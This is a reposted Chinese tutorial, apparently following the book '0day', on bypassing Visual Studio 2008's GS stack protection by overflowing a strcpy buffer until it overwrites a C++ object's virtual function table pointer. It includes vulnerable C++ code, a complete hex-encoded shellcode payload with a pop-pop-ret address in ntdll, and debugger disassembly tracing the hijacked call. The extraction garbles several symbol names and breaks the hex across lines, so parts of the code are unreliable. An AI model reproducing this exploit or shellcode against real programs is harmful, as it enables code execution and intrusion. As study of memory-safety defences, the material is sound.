生活随笔
收集整理的這篇文章主要介紹了
还原0day----覆盖虚函数突破GS
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
接上一篇,與vc++6.0(并沒有GS安全機制)不一樣的是,vs2008啟用GS后的實例內存布局有些不一樣,結合0day代碼探究下突破GS的具體細節
C++代碼:vs2008 release 優化禁用
#include "stdafx.h"
#include "string.h"class GSVirtual
{
public :void gsv(char * src)
{char buf
[200
];strcpy(buf, src);bar(); // virtual function call
}virtual void bar()
{}
};
int main()
{GSVirtual test;test.gsv("
\xF8
\x1c
\x92
\x7C" //需要替換成實驗環境中的指令地址 "
\xFC\x68
\x6A
\x0A
\x38
\x1E
\x68
\x63
\x89
\xD1
\x4F
\x68
\x32
\x74
\x91
\x0C""
\x8B
\xF4
\x8D
\x7E
\xF4
\x33
\xDB\xB7
\x04
\x2B
\xE3
\x66
\xBB\x33
\x32
\x53""
\x68
\x75
\x73
\x65
\x72
\x54
\x33
\xD2
\x64
\x8B
\x5A
\x30
\x8B
\x4B
\x0C
\x8B""
\x49
\x1C
\x8B
\x09
\x8B
\x69
\x08
\xAD\x3D
\x6A
\x0A
\x38
\x1E
\x75
\x05
\x95""
\xFF\x57
\xF8
\x95
\x60
\x8B
\x45
\x3C
\x8B
\x4C
\x05
\x78
\x03
\xCD\x8B
\x59""
\x20
\x03
\xDD\x33
\xFF\x47
\x8B
\x34
\xBB\x03
\xF5
\x99
\x0F
\xBE\x06
\x3A""
\xC4
\x74
\x08
\xC1
\xCA\x07
\x03
\xD0
\x46
\xEB\xF1
\x3B
\x54
\x24
\x1C
\x75""
\xE4
\x8B
\x59
\x24
\x03
\xDD\x66
\x8B
\x3C
\x7B
\x8B
\x59
\x1C
\x03
\xDD\x03""
\x2C
\xBB\x95
\x5F
\xAB\x57
\x61
\x3D
\x6A
\x0A
\x38
\x1E
\x75
\xA9
\x33
\xDB""
\x53
\x68
\x77
\x65
\x73
\x74
\x68
\x66
\x61
\x69
\x6C
\x8B
\xC4
\x53
\x50
\x50""
\x53
\xFF\x57
\xFC\x53
\xFF\x57
\xF8
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90""
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90""
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90""
\x90
\x90
\x90
\x90
\x90
\x90
\x90
\x90");return 0;
}
main函數匯編代碼:
004010
B0 > 55
push ebp
004010
B1 8
BEC mov ebp,
esp
004010
B3 51
push ecx
004010
B4 8
D4D FC lea ecx,
dword ptr ss:
[ebp-0x4]
004010
B7 E8 14000000
call 2
.GSVirtual::GSVirtualkieionFilterructor' ;構造函數
004010
BC 68 00214000
push 2
.00402100 ;
shellcode壓棧
004010
C1 8
D4D FC lea ecx,
dword ptr ss:
[ebp-0x4]
004010
C4 E8 37
FFFFFF call 2
.GSVirtual::gsvep_stateeement ;
test.gsv()
004010
C9 33
C0 xor eax,
eax
004010
CB 8
BE5 mov esp,
ebp
004010
CD 5
D pop ebp
004010
CE C3 retn
此時的main函數堆棧如圖所示
0012FF74地址為test的地址,即test的this=0012FF74,其指向虛函數表,004010A0為bar()的地址
00401000 >
55 push ebp
00401001 8BEC
mov ebp,esp
00401003 81EC E4000000
sub esp,
0xE4
00401009 A1
18304000 mov eax,dword ptr ds:[__security_cookiedtableeme>
0040100E
33C5 xor eax,ebp
00401010 8945 FC
mov dword ptr ss:[ebp-
0x4],eax
00401013 898D
2CFFFFFF
mov dword ptr ss:[ebp-
0xD4],ecx
00401019 8B45
08 mov eax,dword ptr ss:[ebp+
0x8]
0040101C
8985 28FFFFFF
mov dword ptr ss:[ebp-
0xD8],eax
00401022 8D8D
30FFFFFF lea ecx,dword ptr ss:[ebp-
0xD0]
00401028 898D
24FFFFFF
mov dword ptr ss:[ebp-
0xDC],ecx
0040102E
8B95
24FFFFFF
mov edx,dword ptr ss:[ebp-
0xDC]
00401034 8995 20FFFFFF
mov dword ptr ss:[ebp-
0xE0],edx
0040103A
8B85
28FFFFFF
mov eax,dword ptr ss:[ebp-
0xD8]
00401040 8A08
mov cl,byte ptr ds:[eax]
00401042 888D
1FFFFFFF
mov byte ptr ss:[ebp-
0xE1],cl
00401048 8B95
24FFFFFF
mov edx,dword ptr ss:[ebp-
0xDC]
0040104E
8A85
1FFFFFFF
mov al,byte ptr ss:[ebp-
0xE1]
00401054 8802 mov byte ptr ds:[edx],al
00401056 8B8D
28FFFFFF
mov ecx,dword ptr ss:[ebp-
0xD8]
0040105C
83C1
01 add ecx,
0x1
0040105F
898D
28FFFFFF
mov dword ptr ss:[ebp-
0xD8],ecx
00401065 8B95
24FFFFFF
mov edx,dword ptr ss:[ebp-
0xDC]
0040106B
83C2
01 add edx,
0x1
0040106E
8995 24FFFFFF
mov dword ptr ss:[ebp-
0xDC],edx
00401074 80BD
1FFFFFFF
0>cmp byte ptr ss:[ebp-
0xE1],
0x0
0040107B ^
75 BD jnz short
2.0040103A
字符串拷貝函數,拷貝完成之后正好結尾的’\0’覆蓋了0012FF78的低位使得004021E4被更改為00402100,注意這里修改的0012FF78是main函數的棧空間,已經越過gsv的棧空間了,所以cookie,ebp,返回地址都已經被覆蓋掉了
調用bar()的具體調用鏈:
0040107D
8B85
2CFFFFFF
mov eax,dword ptr ss:[ebp-
0xD4] eax=
0012FF78
00401083 8B10
mov edx,dword ptr ds:[eax] edx=eax
00401085 8B8D
2CFFFFFF
mov ecx,dword ptr ss:[ebp-
0xD4]
0040108B
8B02
mov eax,dword ptr ds:[edx] eax=[edx]
0040108D FFD0
call eax bar()
原本的this指針指向004021E4,從此取出004010A0,然后調用。但是其被修改為00402100后取地址(這里00402100指向了shellcode的開頭,這個地址可以自定義,不一定只能修改最后一個字節)
這里請仔細觀察下圖的堆棧細節
可以看到 0012FE9C是buf的起始地址,0012FE8C有個指針指向buf,只要我們能控制EIP指向0012FE9C即可控制程序流程,這里有兩點要注意,第一控制EIP使用ret指令,尋找pop…pop到棧頂是0012FE8C,這時ret就可以讓EIP指向shellcode了,但是還有一點需要注意,就是0012FF9C處的地址被解釋成匯編代碼后需要不影響shellcode的執行,不能出現異常指令,這個多找幾個試試就行。最終我的電腦中找到了ntdll.dll中的7C921CF8指令。
彈出對話框
總結
以上是生活随笔為你收集整理的还原0day----覆盖虚函数突破GS的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。